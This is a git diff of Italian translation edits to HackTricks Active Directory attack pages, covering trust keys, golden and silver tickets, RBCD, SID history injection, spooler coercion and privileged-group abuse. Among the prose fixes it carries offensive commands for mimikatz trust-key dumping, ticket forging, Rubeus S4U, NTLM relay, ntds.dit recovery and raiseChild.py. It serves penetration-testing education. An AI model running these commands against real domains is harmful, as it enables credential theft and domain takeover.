[https://adsecurity.org/?p=1714](https://adsecurity.org/?p=1714) e [https://adsecurity.org/?p=1785](https://adsecurity.org/?p=1785) +Maggiore informazione su questo in: [https://adsecurity.org/?p=1714](https://adsecurity.org/?p=1714) e [https://adsecurity.org/?p=1785](https://adsecurity.org/?p=1785) ## Mitigazione diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md index 80e57e134..dc2cfde5f 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md @@ -40,7 +40,7 @@ Questa estrazione è possibile perché l'account, identificato con un **$** dopo **Attenzione:** È fattibile sfruttare questa situazione per ottenere un accesso nel dominio **A** come utente, sebbene con permessi limitati. Tuttavia, questo accesso è sufficiente per eseguire l'enumerazione nel dominio **A**. -In uno scenario in cui `ext.local` è il dominio fiduciante e `root.local` è il dominio fidato, un account utente chiamato `EXT$` verrebbe creato all'interno di `root.local`. Attraverso strumenti specifici, è possibile estrarre le chiavi di fiducia di Kerberos, rivelando le credenziali di `EXT$` in `root.local`. Il comando per ottenere questo è: +In uno scenario in cui `ext.local` è il dominio fiducioso e `root.local` è il dominio fidato, un account utente chiamato `EXT$` verrebbe creato all'interno di `root.local`. Attraverso strumenti specifici, è possibile estrarre le chiavi di fiducia di Kerberos, rivelando le credenziali di `EXT$` in `root.local`. Il comando per ottenere questo è: ```bash lsadump::trust /patch ``` @@ -56,7 +56,7 @@ Questo passaggio di autenticazione apre la possibilità di enumerare e persino s Nel flusso precedente è stato utilizzato l'hash di fiducia invece della **password in chiaro** (che è stata anche **estratta da mimikatz**). -La password in chiaro può essere ottenuta convertendo l'output \[ CLEAR ] da mimikatz da esadecimale e rimuovendo i byte nulli ‘\x00’: +La password in chiaro può essere ottenuta convertendo l'output \[ CLEAR ] di mimikatz da esadecimale e rimuovendo i byte nulli ‘\x00’: ![](<../../images/image (938).png>) diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md index 0d118889f..c747028e9 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md @@ -56,11 +56,11 @@ IsDomain : True # You may also enumerate where foreign groups and/or users have been assigned # local admin access via Restricted Group by enumerating the GPOs in the foreign domain. ``` -Nella precedente enumerazione è stato trovato che l'utente **`crossuser`** è all'interno del gruppo **`External Admins`** che ha **accesso Admin** all'interno del **DC del dominio esterno**. +Nell'enumerazione precedente è stato trovato che l'utente **`crossuser`** è all'interno del gruppo **`External Admins`** che ha **accesso Admin** all'interno del **DC del dominio esterno**. ## Accesso Iniziale -Se non **sei riuscito** a trovare alcun **accesso speciale** del tuo utente nell'altro dominio, puoi comunque tornare alla metodologia AD e provare a **privesc da un utente non privilegiato** (cose come kerberoasting per esempio): +Se non **sei riuscito** a trovare alcun accesso **speciale** del tuo utente nell'altro dominio, puoi comunque tornare alla metodologia AD e provare a **privesc da un utente non privilegiato** (cose come kerberoasting, per esempio): Puoi utilizzare le **funzioni di Powerview** per **enumerare** l'**altro dominio** usando il parametro `-Domain` come in: ```powershell @@ -82,7 +82,7 @@ Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\admini Puoi anche abusare della [**Storia SID**](sid-history-injection.md) attraverso un trust di foresta. -Se un utente viene migrato **da una foresta a un'altra** e **il filtraggio SID non è abilitato**, diventa possibile **aggiungere un SID dall'altra foresta**, e questo **SID** sarà **aggiunto** al **token dell'utente** durante l'autenticazione **attraverso il trust**. +Se un utente viene migrato **da una foresta a un'altra** e **il filtro SID non è abilitato**, diventa possibile **aggiungere un SID dall'altra foresta**, e questo **SID** sarà **aggiunto** al **token dell'utente** durante l'autenticazione **attraverso il trust**. > [!WARNING] > Come promemoria, puoi ottenere la chiave di firma con @@ -91,7 +91,7 @@ Se un utente viene migrato **da una foresta a un'altra** e **il filtraggio SID n > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local > ``` -Puoi **firmare con** la chiave **fidata** un **TGT che impersona** l'utente del dominio attuale. +Puoi **firmare con** la chiave **fidata** un **TGT impersonando** l'utente del dominio attuale. ```bash # Get a TGT for the cross-domain privileged user to the other domain Invoke-Mimikatz -Command '"kerberos::golden /user: /domain: /SID: /rc4: /target: /ticket:C:\path\save\ticket.kirbi"' diff --git a/src/windows-hardening/active-directory-methodology/golden-ticket.md b/src/windows-hardening/active-directory-methodology/golden-ticket.md index 71e2628bf..fdf7ec26e 100644 --- a/src/windows-hardening/active-directory-methodology/golden-ticket.md +++ b/src/windows-hardening/active-directory-methodology/golden-ticket.md @@ -24,7 +24,7 @@ klist #List tickets in memory # Example using aes key kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi ``` -**Una volta** che hai iniettato il **golden Ticket**, puoi accedere ai file condivisi **(C$)** ed eseguire servizi e WMI, quindi potresti usare **psexec** o **wmiexec** per ottenere una shell (sembra che non puoi ottenere una shell tramite winrm). +**Una volta** che hai **iniettato il Golden Ticket**, puoi accedere ai file condivisi **(C$)** ed eseguire servizi e WMI, quindi puoi utilizzare **psexec** o **wmiexec** per ottenere una shell (sembra che non puoi ottenere una shell tramite winrm). ### Bypassare le rilevazioni comuni @@ -32,7 +32,7 @@ I modi più frequenti per rilevare un golden ticket sono **ispezionando il traff `Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM` -Usa i parametri `/startoffset`, `/endin` e `/renewmax` per controllare l'offset di inizio, la durata e il numero massimo di rinnovi (tutti in minuti). +Utilizza i parametri `/startoffset`, `/endin` e `/renewmax` per controllare l'offset di inizio, la durata e il numero massimo di rinnovi (tutti in minuti). ``` Get-DomainPolicy | select -expand KerberosPolicy ``` diff --git a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md index 66fdbdd38..f96b37a4c 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md @@ -1,23 +1,24 @@ -# Problema del Double Hop di Kerberos +# Problema del Kerberos Double Hop {{#include ../../banners/hacktricks-training.md}} + ## Introduzione -Il problema del "Double Hop" di Kerberos si presenta quando un attaccante tenta di utilizzare **l'autenticazione Kerberos attraverso due** **hops**, ad esempio utilizzando **PowerShell**/**WinRM**. +Il problema del "Double Hop" di Kerberos si presenta quando un attaccante tenta di utilizzare **l'autenticazione Kerberos attraverso due** **hop**, ad esempio utilizzando **PowerShell**/**WinRM**. -Quando si verifica un'**autenticazione** tramite **Kerberos**, le **credenziali** **non vengono** memorizzate in **memoria.** Pertanto, se esegui mimikatz non **troverai le credenziali** dell'utente nella macchina anche se sta eseguendo processi. +Quando si verifica un'**autenticazione** tramite **Kerberos**, le **credenziali** **non** vengono memorizzate in **memoria.** Pertanto, se esegui mimikatz **non troverai le credenziali** dell'utente nella macchina anche se sta eseguendo processi. -Questo accade perché, quando ci si connette con Kerberos, questi sono i passaggi: +Questo perché, quando ci si connette con Kerberos, questi sono i passaggi: 1. User1 fornisce le credenziali e il **domain controller** restituisce un **TGT** Kerberos a User1. 2. User1 utilizza il **TGT** per richiedere un **service ticket** per **connettersi** a Server1. 3. User1 **si connette** a **Server1** e fornisce il **service ticket**. -4. **Server1** **non ha** le **credenziali** di User1 memorizzate o il **TGT** di User1. Pertanto, quando User1 da Server1 cerca di accedere a un secondo server, non è **in grado di autenticarsi**. +4. **Server1** **non** ha le **credenziali** di User1 memorizzate o il **TGT** di User1. Pertanto, quando User1 da Server1 cerca di accedere a un secondo server, non è **in grado di autenticarsi**. ### Delegazione Non Vincolata -Se la **delegazione non vincolata** è abilitata nel PC, questo non accadrà poiché il **Server** **otterrà** un **TGT** di ogni utente che vi accede. Inoltre, se viene utilizzata la delegazione non vincolata, probabilmente puoi **compromettere il Domain Controller** da esso.\ +Se la **delegazione non vincolata** è abilitata nel PC, questo non accadrà poiché il **Server** otterrà un **TGT** di ogni utente che vi accede. Inoltre, se viene utilizzata la delegazione non vincolata, probabilmente puoi **compromettere il Domain Controller** da esso.\ [**Ulteriori informazioni nella pagina sulla delegazione non vincolata**](unconstrained-delegation.md). ### CredSSP @@ -73,7 +74,7 @@ L'installazione di OpenSSH sul primo server consente una soluzione per il proble #### Passaggi per l'installazione di OpenSSH -1. Scarica e sposta l'ultima versione zip di OpenSSH sul server di destinazione. +1. Scarica e sposta l'ultima versione di OpenSSH in formato zip sul server di destinazione. 2. Decomprimi ed esegui lo script `Install-sshd.ps1`. 3. Aggiungi una regola del firewall per aprire la porta 22 e verifica che i servizi SSH siano in esecuzione. diff --git a/src/windows-hardening/active-directory-methodology/laps.md b/src/windows-hardening/active-directory-methodology/laps.md index 9c8211e17..551679f20 100644 --- a/src/windows-hardening/active-directory-methodology/laps.md +++ b/src/windows-hardening/active-directory-methodology/laps.md @@ -7,7 +7,7 @@ Local Administrator Password Solution (LAPS) è uno strumento utilizzato per gestire un sistema in cui le **password degli amministratori**, che sono **uniche, casuali e frequentemente cambiate**, vengono applicate ai computer uniti al dominio. Queste password sono memorizzate in modo sicuro all'interno di Active Directory e sono accessibili solo agli utenti a cui è stato concesso il permesso tramite le Liste di Controllo degli Accessi (ACL). La sicurezza delle trasmissioni delle password dal client al server è garantita dall'uso di **Kerberos versione 5** e **Advanced Encryption Standard (AES)**. -Nella struttura degli oggetti computer del dominio, l'implementazione di LAPS comporta l'aggiunta di due nuovi attributi: **`ms-mcs-AdmPwd`** e **`ms-mcs-AdmPwdExpirationTime`**. Questi attributi memorizzano rispettivamente la **password dell'amministratore in chiaro** e **il suo tempo di scadenza**. +Nagli oggetti computer del dominio, l'implementazione di LAPS comporta l'aggiunta di due nuovi attributi: **`ms-mcs-AdmPwd`** e **`ms-mcs-AdmPwdExpirationTime`**. Questi attributi memorizzano rispettivamente la **password dell'amministratore in chiaro** e **il suo tempo di scadenza**. ### Controlla se attivato ```bash diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index d76754fd1..941d35df7 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -91,7 +91,7 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password ``` ## Outlook Web Access -Ci sono diversi strumenti per il **password spraying outlook**. +Ci sono diversi strumenti per p**assword spraying outlook**. - Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index 52045ca64..7fe48a0cd 100644 --- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -8,8 +8,8 @@ ## Abuso del servizio Spooler -Se il servizio _**Print Spooler**_ è **abilitato**, puoi utilizzare alcune credenziali AD già note per **richiedere** al server di stampa del Domain Controller un **aggiornamento** sui nuovi lavori di stampa e semplicemente dirgli di **inviare la notifica a un sistema**.\ -Nota che quando la stampante invia la notifica a sistemi arbitrari, deve **autenticarsi** contro quel **sistema**. Pertanto, un attaccante può far sì che il servizio _**Print Spooler**_ si autentichi contro un sistema arbitrario, e il servizio utilizzerà **l'account del computer** in questa autenticazione. +Se il servizio _**Print Spooler**_ è **abilitato**, puoi utilizzare alcune credenziali AD già conosciute per **richiedere** al server di stampa del Domain Controller un **aggiornamento** sui nuovi lavori di stampa e semplicemente dirgli di **inviare la notifica a un sistema**.\ +Nota che quando la stampante invia la notifica a sistemi arbitrari, deve **autenticarsi contro** quel **sistema**. Pertanto, un attaccante può far sì che il servizio _**Print Spooler**_ si autentichi contro un sistema arbitrario, e il servizio utilizzerà **l'account del computer** in questa autenticazione. ### Trovare server Windows nel dominio @@ -51,7 +51,7 @@ Se un attaccante ha già compromesso un computer con [Delegazione Illimitata](un L'attacco `PrivExchange` è il risultato di un difetto trovato nella **funzione `PushSubscription` di Exchange Server**. Questa funzione consente al server Exchange di essere forzato da qualsiasi utente di dominio con una casella di posta ad autenticarsi su qualsiasi host fornito dal client tramite HTTP. -Per impostazione predefinita, il **servizio Exchange viene eseguito come SYSTEM** e ha privilegi eccessivi (specificamente, ha **privilegi WriteDacl sull'aggiornamento cumulativo del dominio pre-2019**). Questo difetto può essere sfruttato per abilitare il **rilascio di informazioni a LDAP e successivamente estrarre il database NTDS del dominio**. Nei casi in cui il rilascio a LDAP non sia possibile, questo difetto può comunque essere utilizzato per rilasciare e autenticarsi su altri host all'interno del dominio. Lo sfruttamento riuscito di questo attacco concede accesso immediato all'Amministratore di Dominio con qualsiasi account utente di dominio autenticato. +Per impostazione predefinita, il **servizio Exchange viene eseguito come SYSTEM** e ha privilegi eccessivi (specificamente, ha **privilegi WriteDacl sul dominio pre-2019 Cumulative Update**). Questo difetto può essere sfruttato per abilitare il **reindirizzamento delle informazioni a LDAP e successivamente estrarre il database NTDS del dominio**. Nei casi in cui il reindirizzamento a LDAP non sia possibile, questo difetto può comunque essere utilizzato per reindirizzare e autenticarsi su altri host all'interno del dominio. Lo sfruttamento riuscito di questo attacco concede accesso immediato all'Amministratore di Dominio con qualsiasi account utente di dominio autenticato. ## All'interno di Windows @@ -76,8 +76,6 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2- # Issuing NTLM relay attack on the local server with custom command mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` -Oppure usa quest'altra tecnica: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce) - ### Certutil È possibile utilizzare certutil.exe lolbin (binary firmato da Microsoft) per forzare l'autenticazione NTLM: @@ -96,13 +94,13 @@ e quando lo apre, cercherà di autenticarsi. ### MitM -Se puoi eseguire un attacco MitM su un computer e iniettare HTML in una pagina che visualizzerà, potresti provare a iniettare un'immagine come la seguente nella pagina: +Se puoi eseguire un attacco MitM a un computer e iniettare HTML in una pagina che visualizzerà, potresti provare a iniettare un'immagine come la seguente nella pagina: ```html ``` ## Cracking NTLMv1 Se riesci a catturare [le sfide NTLMv1 leggi qui come crackerle](../ntlm/#ntlmv1-attack).\ -&#xNAN;_Rricorda che per crackare NTLMv1 devi impostare la sfida di Responder su "1122334455667788"_ +&#xNAN;_Ricorda che per crackare NTLMv1 devi impostare la sfida di Responder su "1122334455667788"_ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index f89e78c7d..c3c34c80d 100644 --- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -30,7 +30,7 @@ Get-NetGroupMember -Identity "AdminSDHolder" -Recurse Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} ``` -È disponibile uno script per accelerare il processo di ripristino: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). +Uno script è disponibile per accelerare il processo di ripristino: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). Per ulteriori dettagli, visita [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). @@ -74,7 +74,7 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll Set-SeBackupPrivilege Get-SeBackupPrivilege ``` -3. Accedere e copiare file da directory riservate, ad esempio: +3. Accedi e copia file da directory riservate, ad esempio: ```bash dir C:\Users\Administrator\ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite @@ -126,11 +126,11 @@ wbadmin get versions echo "Y" | wbadmin start recovery -version: -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl ``` -Per una dimostrazione pratica, vedere [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). +Per una dimostrazione pratica, vedere [DEMO VIDEO CON IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). ## DnsAdmins -I membri del gruppo **DnsAdmins** possono sfruttare i loro privilegi per caricare una DLL arbitraria con privilegi SYSTEM su un server DNS, spesso ospitato su Domain Controllers. Questa capacità consente un potenziale di sfruttamento significativo. +I membri del gruppo **DnsAdmins** possono sfruttare i loro privilegi per caricare una DLL arbitraria con privilegi di SYSTEM su un server DNS, spesso ospitato su Domain Controllers. Questa capacità consente un potenziale di sfruttamento significativo. Per elencare i membri del gruppo DnsAdmins, usa: ```powershell @@ -189,7 +189,7 @@ Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse ``` ## Hyper-V Administrators -Gli Hyper-V Administrators hanno accesso completo a Hyper-V, che può essere sfruttato per ottenere il controllo sui Domain Controllers virtualizzati. Questo include il clonaggio di DC live ed estraendo gli hash NTLM dal file NTDS.dit. +Gli Hyper-V Administrators hanno accesso completo a Hyper-V, che può essere sfruttato per ottenere il controllo sui Domain Controllers virtualizzati. Questo include la clonazione di DC live ed estraendo gli hash NTLM dal file NTDS.dit. ### Esempio di Sfruttamento @@ -237,7 +237,7 @@ Per le tecniche di sfruttamento relative a **WinRM**, è necessario consultare d #### Server Operators -Questo gruppo ha i permessi per eseguire varie configurazioni sui Domain Controllers, inclusi privilegi di backup e ripristino, modifica dell'ora di sistema e spegnimento del sistema. Per enumerare i membri, il comando fornito è: +Questo gruppo ha i permessi per eseguire varie configurazioni sui Domain Controllers, inclusi i privilegi di backup e ripristino, la modifica dell'ora di sistema e lo spegnimento del sistema. Per enumerare i membri, il comando fornito è: ```powershell Get-NetGroupMember -Identity "Server Operators" -Recurse ``` diff --git a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md index a482e80a7..ab649bc2b 100644 --- a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md +++ b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -1,8 +1,8 @@ -# RDP Sessions Abuse +# Abuso delle Sessioni RDP {{#include ../../banners/hacktricks-training.md}} -## RDP Process Injection +## Iniezione di Processo RDP Se il **gruppo esterno** ha **accesso RDP** a qualsiasi **computer** nel dominio attuale, un **attaccante** potrebbe **compromettere quel computer e aspettarlo**. @@ -34,7 +34,7 @@ Controlla **altri modi per rubare sessioni con altri strumenti** [**in questa pa ## RDPInception -Se un utente accede tramite **RDP a una macchina** dove un **attaccante** sta **aspettando** per lui, l'attaccante sarà in grado di **iniettare un beacon nella sessione RDP dell'utente** e se la **vittima ha montato il suo disco** quando accede tramite RDP, l'**attaccante potrebbe accedervi**. +Se un utente accede via **RDP a una macchina** dove un **attaccante** sta **aspettando** per lui, l'attaccante sarà in grado di **iniettare un beacon nella sessione RDP dell'utente** e se la **vittima ha montato il suo disco** quando accede via RDP, l'**attaccante potrebbe accedervi**. In questo caso potresti semplicemente **compromettere** il **computer originale** delle **vittime** scrivendo un **backdoor** nella **cartella di avvio**. ```powershell diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index 935565c82..3e8233307 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -27,8 +27,8 @@ Supponiamo che l'attaccante abbia già **privilegi di scrittura equivalenti sull 1. L'attaccante **compromette** un account che ha un **SPN** o **ne crea uno** (“Servizio A”). Nota che **qualsiasi** _Admin User_ senza alcun altro privilegio speciale può **creare** fino a 10 **oggetti Computer (**_**MachineAccountQuota**_**)** e impostarli con un **SPN**. Quindi l'attaccante può semplicemente creare un oggetto Computer e impostare un SPN. 2. L'attaccante **abusa del suo privilegio di SCRITTURA** sull'computer vittima (ServizioB) per configurare **la delegazione constrain basata su risorse per consentire a ServiceA di impersonare qualsiasi utente** contro quell'computer vittima (ServizioB). 3. L'attaccante utilizza Rubeus per eseguire un **attacco S4U completo** (S4U2Self e S4U2Proxy) da Servizio A a Servizio B per un utente **con accesso privilegiato a Servizio B**. -1. S4U2Self (dall'account SPN compromesso/creato): Richiedi un **TGS di Administrator per me** (Non Forwardable). -2. S4U2Proxy: Usa il **TGS non Forwardable** del passo precedente per richiedere un **TGS** da **Administrator** al **host vittima**. +1. S4U2Self (dall'account SPN compromesso/creato): Chiedi un **TGS di Administrator per me** (Non Forwardable). +2. S4U2Proxy: Usa il **TGS non Forwardable** del passo precedente per chiedere un **TGS** da **Administrator** al **host vittima**. 3. Anche se stai usando un TGS non Forwardable, poiché stai sfruttando la delegazione constrain basata su risorse, funzionerà. 4. L'attaccante può **pass-the-ticket** e **impersonare** l'utente per ottenere **accesso al ServizioB vittima**. @@ -91,7 +91,7 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:admin ### Accessing L'ultima riga di comando eseguirà il **completo attacco S4U e inietterà il TGS** dall'Amministratore all'host vittima in **memoria**.\ -In questo esempio è stato richiesto un TGS per il servizio **CIFS** dall'Amministratore, quindi sarai in grado di accedere a **C$**: +In questo esempio è stata richiesta una TGS per il servizio **CIFS** dall'Amministratore, quindi sarai in grado di accedere a **C$**: ```bash ls \\victim.domain.local\C$ ``` @@ -102,12 +102,12 @@ Scopri i [**ticket di servizio disponibili qui**](silver-ticket.md#available-ser ## Errori di Kerberos - **`KDC_ERR_ETYPE_NOTSUPP`**: Questo significa che kerberos è configurato per non utilizzare DES o RC4 e stai fornendo solo l'hash RC4. Fornisci a Rubeus almeno l'hash AES256 (o fornisci solo gli hash rc4, aes128 e aes256). Esempio: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` -- **`KRB_AP_ERR_SKEW`**: Questo significa che l'ora del computer attuale è diversa da quella del DC e kerberos non funziona correttamente. -- **`preauth_failed`**: Questo significa che il nome utente fornito + gli hash non funzionano per il login. Potresti aver dimenticato di mettere il "$" all'interno del nome utente durante la generazione degli hash (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) +- **`KRB_AP_ERR_SKEW`**: Questo significa che l'ora del computer attuale è diversa da quella del DC e kerberos non sta funzionando correttamente. +- **`preauth_failed`**: Questo significa che il nome utente + hash forniti non funzionano per il login. Potresti aver dimenticato di mettere il "$" all'interno del nome utente quando hai generato gli hash (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) - **`KDC_ERR_BADOPTION`**: Questo può significare: - L'utente che stai cercando di impersonare non può accedere al servizio desiderato (perché non puoi impersonarlo o perché non ha privilegi sufficienti) - Il servizio richiesto non esiste (se chiedi un ticket per winrm ma winrm non è in esecuzione) - - Il fakecomputer creato ha perso i suoi privilegi sul server vulnerabile e devi ripristinarli. + - Il fakecomputer creato ha perso i suoi privilegi sul server vulnerabile e devi restituirli. ## Riferimenti diff --git a/src/windows-hardening/active-directory-methodology/sid-history-injection.md b/src/windows-hardening/active-directory-methodology/sid-history-injection.md index 9b3ef4a6f..0329d8482 100644 --- a/src/windows-hardening/active-directory-methodology/sid-history-injection.md +++ b/src/windows-hardening/active-directory-methodology/sid-history-injection.md @@ -4,13 +4,13 @@ ## Attacco di Iniezione della Storia SID -L'obiettivo dell'**Attacco di Iniezione della Storia SID** è facilitare **la migrazione degli utenti tra domini** garantendo al contempo l'accesso continuo alle risorse del precedente dominio. Questo viene realizzato **incorporando il precedente Identificatore di Sicurezza (SID) dell'utente nella Storia SID** del loro nuovo account. È importante notare che questo processo può essere manipolato per concedere accesso non autorizzato aggiungendo il SID di un gruppo ad alta privilegio (come Enterprise Admins o Domain Admins) dal dominio principale alla Storia SID. Questa sfruttamento conferisce accesso a tutte le risorse all'interno del dominio principale. +L'obiettivo dell'**Attacco di Iniezione della Storia SID** è facilitare **la migrazione degli utenti tra domini** garantendo al contempo l'accesso continuo alle risorse del precedente dominio. Questo viene realizzato **incorporando il precedente Identificatore di Sicurezza (SID) dell'utente nella Storia SID** del loro nuovo account. È importante notare che questo processo può essere manipolato per concedere accesso non autorizzato aggiungendo il SID di un gruppo ad alta privilegio (come Enterprise Admins o Domain Admins) dalla parent domain alla Storia SID. Questa sfruttamento conferisce accesso a tutte le risorse all'interno del dominio parent. Esistono due metodi per eseguire questo attacco: attraverso la creazione di un **Golden Ticket** o di un **Diamond Ticket**. Per individuare il SID per il gruppo **"Enterprise Admins"**, è necessario prima localizzare il SID del dominio radice. Dopo l'identificazione, il SID del gruppo Enterprise Admins può essere costruito aggiungendo `-519` al SID del dominio radice. Ad esempio, se il SID del dominio radice è `S-1-5-21-280534878-1496970234-700767426`, il SID risultante per il gruppo "Enterprise Admins" sarebbe `S-1-5-21-280534878-1496970234-700767426-519`. -Puoi anche utilizzare i gruppi **Domain Admins**, che terminano in **512**. +Puoi anche utilizzare i gruppi **Domain Admins**, che termina in **512**. Un altro modo per trovare il SID di un gruppo dell'altro dominio (ad esempio "Domain Admins") è con: ```powershell @@ -101,19 +101,19 @@ psexec.py /Administrator@dc.root.local -k -no-pass -target-ip 10.1 ``` #### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) -Questo è uno script Impacket che **automatizza l'innalzamento da un dominio child a un dominio parent**. Lo script richiede: +Questo è uno script Impacket che **automatizza l'innalzamento da un dominio figlio a un dominio genitore**. Lo script richiede: -- Domain controller di destinazione -- Credenziali per un utente admin nel dominio child +- Controller di dominio di destinazione +- Credenziali per un utente admin nel dominio figlio Il flusso è: -- Ottiene il SID per il gruppo Enterprise Admins del dominio parent -- Recupera l'hash per l'account KRBTGT nel dominio child +- Ottiene il SID per il gruppo Enterprise Admins del dominio genitore +- Recupera l'hash per l'account KRBTGT nel dominio figlio - Crea un Golden Ticket -- Effettua il login nel dominio parent -- Recupera le credenziali per l'account Administrator nel dominio parent -- Se l'opzione `target-exec` è specificata, si autentica al Domain Controller del dominio parent tramite Psexec. +- Effettua il login nel dominio genitore +- Recupera le credenziali per l'account Administrator nel dominio genitore +- Se l'opzione `target-exec` è specificata, si autentica al Domain Controller del dominio genitore tramite Psexec. ```bash raiseChild.py -target-exec 10.10.10.10 /username ``` diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index ce5283bdb..03fc0b112 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -32,22 +32,22 @@ Il servizio CIFS è evidenziato come un obiettivo comune per accedere al file sy ## Servizi Disponibili -| Tipo di Servizio | Servizi Silver Tickets | -| ------------------------------------------ | ------------------------------------------------------------------------- | -| WMI |

HOST

RPCSS

| +| Tipo di Servizio | Biglietti Silver del Servizio | +| ------------------------------------------ | ------------------------------------------------------------------------ | +| WMI |

HOST

RPCSS

| | PowerShell Remoting |

HOST

HTTP

A seconda del sistema operativo anche:

WSMAN

RPCSS

| | WinRM |

HOST

HTTP

In alcune occasioni puoi semplicemente chiedere: WINRM

| -| Attività Pianificate | HOST | -| Condivisione File di Windows, anche psexec | CIFS | -| Operazioni LDAP, incluso DCSync | LDAP | -| Strumenti di Amministrazione Remota di Windows |

RPCSS

LDAP

CIFS

| -| Golden Tickets | krbtgt | +| Attività Pianificate | HOST | +| Condivisione File di Windows, anche psexec | CIFS | +| Operazioni LDAP, incluso DCSync | LDAP | +| Strumenti di Amministrazione Remota di Windows |

RPCSS

LDAP

CIFS

